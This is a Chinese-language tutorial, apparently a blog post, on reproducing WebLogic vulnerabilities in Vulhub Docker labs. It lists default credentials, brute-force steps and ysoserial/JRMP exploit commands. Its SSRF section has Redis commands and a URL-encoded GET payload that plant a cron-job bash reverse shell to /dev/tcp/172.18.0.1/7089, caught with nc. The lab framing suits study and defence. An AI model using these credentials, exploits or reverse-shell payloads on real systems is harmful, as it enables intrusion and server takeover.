Weblogic漏洞重现与利用

Weblogic漏洞重现与利用

介绍Weblogic常见的漏洞,其中包括:弱口令、Java反序列化、XMLdecoder反序列化、SSRF 漏洞、任意文件上传,并根据其漏洞,使用 Docker+Vulhub 进行复现。

主要内容:

  1. 环境搭建
  2. Weblogic常见漏洞简单介绍
  3. Weblogic弱口令复现操作
  4. Java反序列化漏洞操作(CVE-2018-2628)
  5. 任意文件上传漏洞操作(CVE-2018-2894)
  6. XML Decoder 反序列化漏洞操作(CVE-2017-10271)
  7. SSRF漏洞操作(CVE-2017-10271)
  8. 最新漏洞:(CVE-2019-2725)反序列化漏洞操作

一、环境搭建

本次教程所有用例,均基于Ubuntu系统下操作,但我个人有时也会用Kali系统来复现漏洞环境,两者之间无太大差别。以下实验环境截图部分来自Ubuntu系统,部分来自Kali系统,不用太纠结,他们没有什么太大差别。 现在我们来尝试在Ubuntu系统下安装本次实验所需的工具吧:

  • docker
  • docker-compose
  • vulhub-master

1、安装必要工具

  • 下面链接是该教程配套文件链接,该文件下有所用到的所有工具
arduino 复制代码
https://pan.baidu.com/s/1TlZfXnQjtO28FEk1k-5NOg

提取码:52pj

  • docker安装的前提条件: Docker要求Ubuntu系统的内核版本高于3.10,使用下面这条命令查看自己系统的内核版本:
bash 复制代码
uname -r 
  • 获取最新版本的docker安装包,输入下面这条命令,并等待一会:
arduino 复制代码
wget -qO- https://get.docker.com/ | sh
  • 启动docker服务: service docker start

  • 安装pip

arduino 复制代码
curl -s  https://bootstrap.pypa.io/get-pip.py | python3
  • 安装docker-compose:

    pip install docker-compose

  • 安装vulhub漏洞环境:

perl 复制代码
wget https://github.com/vulhub/vulhub/archive/master.zip%20-O%20vulhub-master.zip -O vulhub-master.zip
  • 对vulhub-master.zip进行解压: unzip vulhub-master.zip 如果提示没有unzip,可使用 apt-get install unzip获取一下。

现在docker,docker-compose,vulhub漏洞环境都已成功安装了。下面我们针对docker来进行一下加速设置。

2、docker镜像加速

  • 获取阿里云加速地址: 首先从阿里云获取加速镜像地址,访问:
arduino 复制代码
https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
  • 修改配置加速文件: 通过修改daemon配置文件来使用加速器,位于:/etc/docker/daemon.json 没有该文件可自行创建一个,并将从阿里云获取的镜像地址粘贴进去,格式如下:

加速器我们也设置好了,对于下面的实验用例也没有什么问题了,细节报错问题,大家可以自行解决一下,毕竟每个人遇见的问题都是千奇百怪,各不相同的。

下面链接是该教程配套文件,该文件下有所用到的所有工具

获取地址:

链接:

arduino 复制代码
https://pan.baidu.com/s/1SfLrlIsgDjagu8pazJ-geQ 

提取码:pk94

复制这段内容后打开百度网盘手机App,操作更方便哦

二、Weblogic常见漏洞简单介绍

1、Weblogic简介

Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。 并且Weblogic默认端口为:7001

2、Weblogic较活跃的几个版本

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.1
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3
  • 等等

3、Weblogic历史相关漏洞

#制台路径泄露:

弱口令破解
#SSRF漏洞:

CVE-2014-4210
#任意文件上传漏洞: #

CVE-2018-2894
#XML Decoder反序列化漏洞:

CVE-2017-3506

CVE-2017-10271
#Java反序列化漏洞:

CVE-2015-4852

CVE-2016-0638

CVE-2016-3510

CVE-2017-3248

4、Weblogic近期相关漏洞

2019年4月17日,阿里云云盾应急响应中心监测到Oracle官方发布安全公告,披露WebLogic服务器存在多个高危漏洞,包括远程代码执行、任意文件上传、反序列化等。黑客利用漏洞可能可以远程获取WebLogic服务器权限,风险较大。

CVE-2019-2658:严重

CVE-2019-2646:严重

CVE-2019-2645:严重

CVE-2019-1258:高危

CVE-2019-2647:高危

CVE-2019-2648:高危

CVE-2019-2649:高危

CVE-2019-2650:高危

CVE-2019-2618:中危

CVE-2019-2568:中危

CVE-2019-2615:中危

Oracle重要补丁更新公告 - 2019年4月:

ruby 复制代码
https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html

5、Weblogic复现漏洞简单介绍

#weakpassword

Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的账户名密码。因此存在弱口令爆破的风险。 在本环境下模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。

#SSRF漏洞(CVE-2014-4210)

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻击内网中redis、fastcgi等脆弱组件。

#任意文件上传漏洞(CVE-2018-2894)

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。 利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

#XML Decoder反序列化漏洞(CVE-2017-10271)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

#Java反序列化漏洞(CVE-2018-2628)

Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。

三、Weblogic弱口令复现操作

1、后台登录地址

bash 复制代码
http://ip:7001/console/login/LoginForm.jsp

2、Weblogic常见弱口令总结

  • system:password
  • weblogic:weblogic
  • admin:secruity
  • joe:password
  • mary:password
  • system:sercurity
  • weblogic:Oracle@123 参考地址:
ini 复制代码
https://cirt.net/passwords?criteria=weblogic

3、环境部署

bash 复制代码
#进入Weblogic的弱口令环境目录:
cd	vulhub-master/weblogic/weak_password
#构建服务:
sudo   docker-compose   build 
#启动环境:
sudo   docker-compose   up   -d
#进入网址,查看是否部署成功:
http://ip:7001/console

#本环境弱口令账号密码为:
账号:weblogic
密码:Oracle@123

4、漏洞复现之三个破解方式

4.1、使用Burp suite下的Intruder模块破解

破解流程:

  1. 首先访问后台登录地址,输入任意账号密码,此时开启Burp Suite功能,点击登录:

  2. 此时已经将数据拦截下来,然后点击右键,将其转发到Intruder模块下:

  3. 现在数据来到了Intruder模块下,我们需要在该模块下,对数据进行构造,以便进行暴力破解。

  4. 首先,将Positions下将所有变量 Clear <math xmlns="http://www.w3.org/1998/Math/MathML"> (清空)掉,并选择想要破解的变量点击 A d d (清空)掉,并选择想要破解的变量点击Add </math>(清空)掉,并选择想要破解的变量点击Add按钮,我们选择账号和密码这两个变量。

  5. Attack type(攻击类型):选择cluster bomb,即为交集爆破

  6. 进入Payload选项,设置变量。首先设置Payload Sets下的Payload set 为1(按照之前添加变量顺序来定),Payload type为Simple list,然后在下面Payload Options[Simple list]的地方点击Paste按钮,会将你复制的要破解的账号名粘贴在此处。密码变量设置如上相同,只不过要将Payload set 设为2。

  7. 在此例子中,我们使用前面所讲述到的常见用户名和密码:
    此图为账号设置

    此图为密码设置

  8. 现在我们已经暴力破解的数据构造好了,接下来点击右上角的Start attack按钮,来进行攻击,并观察返回结果:

  9. 现在我们发现有个长度跟其他的不一样数据,现在尝试去登陆一下,成功登陆,此时Burp Suite破解也告一段落了。

4.2、根据Python小脚本,来暴力破解目标账号密码

Python小脚本的暴力破解思路和前面Burp Suite下的Intruder下的破解思路是一样的。换汤不换药,只不过是多学习学习些Python脚本,从简单到复杂,多多练习,非常有益处。

4.3、配合任意文件下载/读取漏洞来破解密码

如果目标系统不存在弱口令怎么办?我们可以旁敲侧击来破解后台密码。该如何做呢,此例子是配合任意文件下载漏洞来破解后台密码。 正巧,该环境下存在一个任意文件下载漏洞, 漏洞地址:

bash 复制代码
http://ip:7001/hello/file.jsp?path=

现在存在一个任意文件下载漏洞,我们要如何利用呢?

  • 读取后台用户密文与密钥文件 Weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。 这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml, 在本环境中为./security/SerializedSystemIni.dat./config/config.xml文件中,(基于当前目录为: /root/Oracle/Middleware/user_projects/domains/base_domain)

  • 使用工具对后台密码进行破解 结果如下图,该工具会在最后打包分享文件中分享,具体路径在: Weblogic机密文件\Weblogic\weblogic-vulhub环境\weak_password\decrypt

  • 具体流程:

    1、使用浏览器输入任意文件下载漏洞地址 http://your-ip:7001/hello/file.jsp?path=,此时浏览器打开代理插件,Burp Suite打开拦截功能:

    2、首先,在路径path后面输入,./security/SerializedSystemIni.dat 路径,成功拦截到包,将其转发到Repeater模块下,点击Go按钮,来读取加密密钥,返回包是一串数据,不用过多纠结,如图:

    3、现在我们将这串数据保存在本地,选中数据,点击鼠标右键,点击copy to file,选择保存路径(记住这个路径),点击保存,如图:

    4、此时,加密密钥我们已经保存下来了,接下来,要寻找加密的密码了,它在 ./config/config.xml文件下的<node-manager-password-encrypted>标签下,如图:

    5、现在,我们打开破解工具,具体位置上面已说到,文件处即为我们刚才保存的文件,密文即为 ./config/config.xml文件下的<node-manager-password-encrypted> 标签中的内容,全部输入完成后,点击确定,开始破解。

    6、现在密码我们已经成功破解了。配合任意文件下载,主要是读取两个带有敏感信息的文件。现在配合任意文件下载漏洞来破解密码行动也已经结束了。

四、 Java反序列化漏洞操作(CVE-2018-2628)

1、Java序列化与Java反序列化:

Java序列化:即把Java对象转换为字节序列的过程 Java反序列化:是指把字节序列恢复为Java对象的过程

目的: 序列化与反序列化目的是为了让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信,对象持久化存储。

2、Java反序列化漏洞成因:

在上述情况中所说的转换过程中,出现了漏洞,加之暴露或间接暴露出可反序列化的API,导致用户可以操作,并传入数据,或精心构造恶意代码。

3、相关历史漏洞简介:

#CVE-2015-4852

Weblogic 直接反序列化 是基于Weblogic t3协议引起远程代码执行的反序列化漏洞
#CVE-2016-0638

Weblogic 直接反序列化 基于Weblogic t3协议引起远程代码执行的反序列化漏洞 漏洞实为CVE-2015-4852绕过 拜Oracle一直以来的黑名单修复方式所赐
#CVE-2016-3510

基于Weblogic t3协议引起远程代码执行的反序列化漏洞
#CVE-2017-3248

基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于Weblogic JRMP反序列化
#CVE-2018-2628

基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于 Weblogic JRMP反序列化
#CVE-2018-2893

基于Weblogic t3协议引起远程代码执行的反序列化漏洞 实为CVE-2018-2628绕过 同样拜Oracle一直以来的黑名单修复方式所赐 属于Weblogic JRMP反序列化

4、该漏洞涉及版本:

10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

5、漏洞复现流程:

方法一:

1、首先,使用"Nmap"来探测一下目标信息,是否正在使用T3协议, 具体命令:nmap -n -v -p 7001 目标地址 --script=weblogic-t3-info 返回信息如下,代表目标正在使用T3协议:

2、使用Python脚本针对目标进行探测,是否存在漏洞Java反序列化漏洞,脚本地址: Weblogic机密文件\Weblogic\weblogic-vulhub环境\Java反序列化漏洞 --- CVE-2018-2628\CVE-2018-2628---0号\weblogic_poc.py(该脚本基于Python2.x),如图:

3、根据前面探测的信息,我们发现目标存在Java反序列化漏洞,来让我们进一步攻击它吧。此时我们需要使用到"ysoserial"这个工具。 ysoserial工具地址: Weblogic机密文件\Weblogic\weblogic-vulhub环境\Java反序列化漏洞 --- CVE-2018-2628\CVE-2018-2628---0号\ysoserial

4、首先使用ysoserial在攻击机上启动一个 JRMP server,输入以下命令:

css 复制代码
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

[listen port]:攻击机要监听的端口

[command]:想要执行的命令

44553.py脚本位置:Weblogic机密文件\Weblogic\weblogic-vulhub环境\Java反序列化漏洞 --- CVE-2018-2628\CVE-2018-2628---0号\44553.py

5、使用44553.py脚本来向目标发送数据包(基于python2.x),该脚本会让靶机调用相关服务来访问我们启动的JRMP server,执行我们想要执行的命令。 python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

css 复制代码
[victim ip]:目标weblogic的IP</br>
[victim port]:目标weblogic的端口</br>
[path to ysoserial] :ysoserial的路径</br>
[JRMPListener ip] :第一步中启动JRMP Server的IP地址</br>
[JRMPListener port] :第一步中启动JRMP Server的I端口地址</br>
[JRMPClient]:执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2</br>

6、等待一小会时间,双方会进行握手,进行数据交互,然后成功执行命令。

上图该实例仅是执行过程中的一部分,具体请实践观察。

8、 现在我们进入虚拟中,来查看我们的文件是否执行成功,首先进入虚拟机命令: docker ps -a 来查看想要进入容器的id docker exec -ti 容器id或者容器名称 /bin/bash

9、通过上图发现成功的执行了创建文件命令。

方法二:

该方法,来自github上的一个python脚本,可以使用该方法执行一些命令。 地址:

arduino 复制代码
https://github.com/jas502n/CVE-2018-2628`

1、 该文件我同样下载下来了,在下面打包连接中,我们使用的脚本地址在: Weblogic机密文件\Weblogic\weblogic-vulhub环境\Java反序列化漏洞 --- CVE-2018-2628\CVE-2018-2628---1号\ CVE-2018-2628-Getshell.py 我们首先使用的是CVE-2018-2628-Getshell.py这个脚本,(该脚本基于python2.x) 执行命令: python CVE-2018-2628-Getshell.py 目标地址 目标端口 test11.jsp (注意: 上面test11.jsp为你起的文件名,改名字需要长度等于10)

2、现在我们已经获取了一个地址,打开浏览器访问它:

3、我们执行了whoami的命令。上面 tom后面的变量即为 whomai的base64编码,我们可以使用kali 来生成任意base64编码,来替换该变量,以达到执行任意命令:

4、不难发现,上面我的test11变为了test12,是因为我在进行多次测试的时候发现,生成完一次脚本的连接仅能访问一次,第二次访问会返回404,但这个脚本确实有很多学习的地方。大家可以学学作者思路,进行自己的改造。

五、任意文件上传漏洞操作(CVE-2018-2894)

1、该漏洞涉及版本:

10.3.6,12.1.3,12.2.1.2,12.2.1.3

2、漏洞地址:

bash 复制代码
http://your-ip:7001/ws_utc/config.do

3、环境部署:

bash 复制代码
#进入该漏洞环境目录:
cd vulhub-master/weblogic/CVE-2018-2894
#进行环境构建
docker-compose build
#环境启动
docker-compose up -d

4、漏洞复现攻击过程:

首先要进行一些配置:

1、在CVE-2018-2894环境目录下,查看账号密码,运行以下命令:

docker-compose logs | grep password

2、进入后台登录地址,输入账号密码登录 3、勾选在"base_domain"下的"高级"下的"启用web服务测试页"这个选项,最后点击保存。

漏洞复现流程:

1、首先进入未经授权的上传界面:

lua 复制代码
http://your-ip/ws_utc/config.do

2、将"通用"下的"当前工作目录"路径设置为: /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

设置该目录的目的:

将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的

3、开始上传木马:

①、进入"安全",点击"添加",点击"浏览...",选择你要上传的jsp木马,点击"提交",成功上传jsp木马

②、按键"F12",选中上传文件名元素,该标签下有个id元素(时间戳id,下面会用到),复制它。

4、上传木马的访问路径:

bash 复制代码
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳id]_[文件名]

密码为ninty

六、XML Decoder 反序列化漏洞操作(CVE-2017-10271)

1、涉及版本:

10.3.6.0,12.1.3.0.0,12.2.1.1.0

2、漏洞地址:

/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11

3、环境部署:

bash 复制代码
#进入XML Decoder 反序列化漏洞复现环境:
cd vulhub-master/weblogic/CVE-2017-10271
#进行服务构建
docker-compose build
#启动环境
docker-compose up -d

4、漏洞复现攻击流程:

尝试一个简单的漏洞证明:

1、首先使用XML反序列化漏洞检查工具进行检查上面任一漏洞是否存在漏洞:

2、发现该页面下存在XML反序列化漏洞,尝试写入Webshell

3、打开漏洞地址,本次实例为: http://your-ip:7001/wls-wsat/CoordinatorPortType

4、使用Burp抓包,将其转发到"Repeater"模块下,将GET变为POST,并将Webshell复制,粘贴覆盖之前,点击Go按钮:

5、访问地址为:

bash 复制代码
http://your-ip:7001/bea_wls_internal/test.jsp
反弹一个shell:

1、验证是否存在漏洞:

工具利用 --- XML反序列化漏洞检查工具

脚本利用 --- CVE-2017-10271-poc.py

Burp抓包传入数据验证

2、使用Burp抓包,将其转发到"Repeater"模块下。反弹shell数据的脚本在"反弹shell.md" 中,并且此时攻击机使用nc开始监听, nc -l -p 端口

3、视角来到"Repeater"模块,将GET变为POST,并将反弹shell脚本粘贴至此,点击Go,发送数据。

4、成功连接反弹的shell,如图:

七、SSRF漏洞操作(CVE-2017-10271)

1、什么是SSRF?

简介: SSRF(Server-Side Request Forgery),服务端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个漏洞,一般情况下,SSRF攻击的目标是从外部网络无法访问的内部系统。

2、SSRF危害以及可实现的攻击行为:

  • 主机上本地敏感信息读取,对外网服务器所在的内网的本地端口进行扫描,获取服务的Banner信息
  • 攻击运行在内外网主机的应用程序
  • 通过访问默认文件对内网Web应用进行指纹识别
  • 攻击内外网的Web应用,主要是使用GET参数就可以实现攻击
  • 利用file协议读取本地文件

3、涉及版本:

10.0.2, 10.3.6

4、漏洞地址:

bash 复制代码
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

5、环境部署:

bash 复制代码
#进入ssrf漏洞环境
cd  vulhub-master/weblogic/ssrf
#进行环境构建
docker-compose  build
#启动环境
docker-compose  up -d

6、漏洞复现攻击流程:

浏览器打开漏洞地址,出现以下界面可能存在SSRF漏洞:

1、先进行简单探测目标是否存在漏洞:

使用脚本简单探测:ssrf-poc_simple.py(基于python3.x)

2、手工进行简单检测,在漏洞地址处,点击Search按钮,返回:"An error has occurred"

3、可从漏洞页面下的"Setup UDDI Explorer"处发现内网地址:

4、如果不显示,可以使用脚本猜测。ip_detect.py:(基于python2.x) python ip_detect.py --url 目标地址

内网网段:

10.0.0.0 ~ 10.255.255.255,

172.16.0.0 ~ 172.31.255.255

192.168.0.0 ~ 192.168.255.255

5、进行内网探测,步骤:

打开漏洞地址 → 使用Burp进行抓包 → 将其转发到Repeater模块下 →对operator参数进行修改数据。

观察现象,根据探测结果进行简要分析:

  • 主机存活且端口存在:
  • 不存在的端口或IP地址:
  • 可访问的端口(且该端口是非http协议):

现在模拟内网中存在一台Redis,我们来对他进行攻击: 在前面的探测,我们已经知道了目标系统内网地址存活状态,并发现了一个6379端口主机,根据经验,该端口下的服务是Redis数据库。

  • 下面我们尝试"利用注入HTTP头,来让Redis反弹shell":Weblogic的SSRF,在使用GET请求时,可以通过"%0a%0d"(\r\n,换行符),来注入 换行符。

  • 某些服务(如Redis)是通过换行符来分隔每条命令

  • 因此可以通过该SSRF攻击内网中的Redis服务器

1、发送三条redis命令,将弹shell脚本写入/etc/crontab

swift 复制代码
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/7089 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

2、进行url编码:

perl 复制代码
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.24.175%2F7089%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

3、发送编码后的payload:

perl 复制代码
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.24.175%2F7089%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1

4、攻击机使用nc进行端口的监听:nc -l -p 7089,成功反弹shell:

八、最新漏洞:(CVE-2019-2725)反序列化漏洞操作

1、漏洞名称:

WebLogic wls9-async组件存在反序列化远程命令执行漏洞

2、漏洞描述:

  • Wls9-async组件为Weblogic server 提供异步通讯服务,默认应用于Weblogic部分版本。
  • 部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。

3、涉及版本:

10.X 12.1.3

4、漏洞地址:

bash 复制代码
http://your-ip:port/_async/AsyncResponseService

5、环境部署:

#获取Weblogic版本,该版本为12.1.3

bash 复制代码
docker pull ismaleiva90/weblogic12 

#后台运行漏洞环境

ini 复制代码
docker run --d -p 7001:7001 --restart=always ismaleiva90/weblogic12    

6、漏洞复现攻击流程:

1、首先使用Nmap的nse脚本对目标进行探测: 但要先获取脚本,github地址:

bash 复制代码
https://github.com/Rvn0xsy/nse_vuln/blob/master/weblogic/CNVD-C-2019-4814/weblogic-CNVD-C-2019-48814.nse

将下载后的nse脚本放入Nmap目录下的Scripts文件下。

2、对目标进行探测,执行以下命令:

css 复制代码
nmap -sV -p 目标端口 目标地址 --script= weblogic-CNVD-C-2019-48814     

-sV:探测开放端口并确定服务和信息,并确定版本信息,扫描出的版本配合漏洞库来验证目标是否存在漏洞。

3、经过我们探测,发现目标存在CVE-2019-2725(CNVD-C-2019-48814)这个漏洞,那我们现在进一步攻击目标吧。

4、浏览器打开漏洞地址:

bash 复制代码
http://your-ip:port/_async/AsyncResponseService

5、此时打开Burp Suite 对该漏洞地址进行抓包,并将其发送到Reapeter模块下:

6、现在我们将视角转到Reapeter模块下,开始针对目标进行一个简单的攻击,我们将使用下面构造好的HTTP请求,将其粘贴到Repeater模块下即可,然后点击Go按钮,Response返回 202 Accepted表示创建成功:

该脚本以放在打包文件中,CVE-2019-2725文件夹下。

7、上面这个脚本功能是使用nc反弹一个shell,攻击机去使用nc连接,此时攻击机开始进行端口监听,然后点击Go按钮,此时成功连接shell,并成功进入了目标系统:

优秀的参考链接:

www.oracle.com/technetwork... www.oracle.com/technetwork... mp.weixin.qq.com/s/Hdvp1_lUg... github.com/vulhub/vulh...

相关推荐
网络研究院2 小时前
Android 安卓内存安全漏洞数量大幅下降的原因
android·安全·编程·安卓·内存·漏洞·技术
l1x1n07 小时前
No.2 笔记 | 网络安全攻防:PC、CS工具与移动应用分析
安全·web安全
醉颜凉9 小时前
银河麒麟桌面操作系统V10 SP1:取消安装应用的安全授权认证
运维·安全·操作系统·国产化·麒麟·kylin os·安全授权认证
小小工匠13 小时前
Web安全 - 路径穿越(Path Traversal)
安全·web安全·路径穿越
不灭锦鲤15 小时前
ssrf学习(ctfhub靶场)
网络·学习·安全
网络研究院18 小时前
如何安全地大规模部署 GenAI 应用程序
网络·人工智能·安全·ai·部署·观点
DonciSacer1 天前
TryHackMe 第6天 | Web Fundamentals (一)
安全
云卓科技1 天前
无人机之数据提取篇
科技·安全·机器人·无人机·制造
山兔11 天前
工控安全防护机制与技术
安全
HEX9CF1 天前
【CTF Web】Pikachu xss之href输出 Writeup(GET请求+反射型XSS+javascript:伪协议绕过)
开发语言·前端·javascript·安全·网络安全·ecmascript·xss